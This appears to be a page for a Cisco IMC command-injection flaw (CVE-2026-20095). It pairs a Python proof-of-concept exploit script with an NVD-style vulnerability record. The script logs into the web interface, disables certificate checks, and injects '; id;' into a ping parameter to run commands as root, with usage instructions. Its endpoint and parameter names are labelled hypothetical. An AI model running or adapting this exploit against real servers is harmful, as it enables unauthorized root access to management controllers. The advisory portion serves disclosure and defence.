CVE-2026-20095

import requests import sys # Disable SSL warnings for self-signed certificates (common in management interfaces) requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) def exploit_cve_2026_20095(target_url, username, password): """ Proof of Concept for CVE-2026-20095 (Cisco IMC Command Injection). This script attempts to execute a command (e.g., 'id') as root. """ session = requests.Session() # Step 1: Authenticate to the Web Management Interface # Note: The actual login endpoint may vary depending on the specific IMC version. login_endpoint = f"{target_url}/login" login_data = { "username": username, "password": password } try: print(f"[*] Attempting to login to {login_endpoint}...") response = session.post(login_endpoint, data=login_data, verify=False, timeout=10) if response.status_code != 200 or "login failed" in response.text.lower(): print("[-] Login failed. Please check credentials.") return print("[+] Login successful.") except Exception as e: print(f"[-] Error during login: {e}") return # Step 2: Send Exploit Payload # The vulnerability exists in a specific management endpoint. # We inject a command using a semicolon (;) or similar separator. # Example parameter: 'ip_address' often used in ping/diagnostic tools. exploit_endpoint = f"{target_url}/cgi-bin/ping_test.cgi" # Hypothetical endpoint # The payload: ; id ; # # This attempts to run the 'id' command on the OS. payload = "; id;" exploit_data = { "address": payload, # Parameter name is hypothetical "count": "1" } try: print(f"[*] Sending payload to {exploit_endpoint}...") exploit_response = session.post(exploit_endpoint, data=exploit_data, verify=False, timeout=10) # Step 3: Check for Command Execution Evidence # We look for 'uid=0(root)' in the response indicating root execution. if "uid=0(root)" in exploit_response.text: print("[+] Exploit successful! Command executed as root.") print("[+] Response snippet:") print(exploit_response.text[:500]) # Print part of response else: print("[-] Exploit failed or pattern not found in response.") print("[+] Response snippet:") print(exploit_response.text[:500]) except Exception as e: print(f"[-] Error during exploit: {e}") if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} https://192.168.1.1 admin admin123") sys.exit(1) url = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_cve_2026_20095(url, user, pwd)

{"cve": {"id": "CVE-2026-20095", "sourceIdentifier": "[email protected]", "published": "2026-04-01T17:28:29.670", "lastModified": "2026-04-03T16:11:11.357", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the web-based management interface of Cisco IMC could allow an authenticated, remote attacker with admin-level privileges to perform command injection attacks on an affected system and&nbsp;execute arbitrary commands as the root user.\r\n\r\nThis vulnerability is due to improper validation of user-supplied input. An attacker could exploit this vulnerability by sending crafted commands to the web-based management interface of the affected software. A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system as the root user. Cisco has assigned this vulnerability a Security Impact Rating (SIR) of High, rather than Medium as the score indicates, because additional security implications could occur once the attacker has become root."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}]}], "references": [{"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cimc-cmd-inj-3hKN3bVt", "source": "[email protected]"}]}}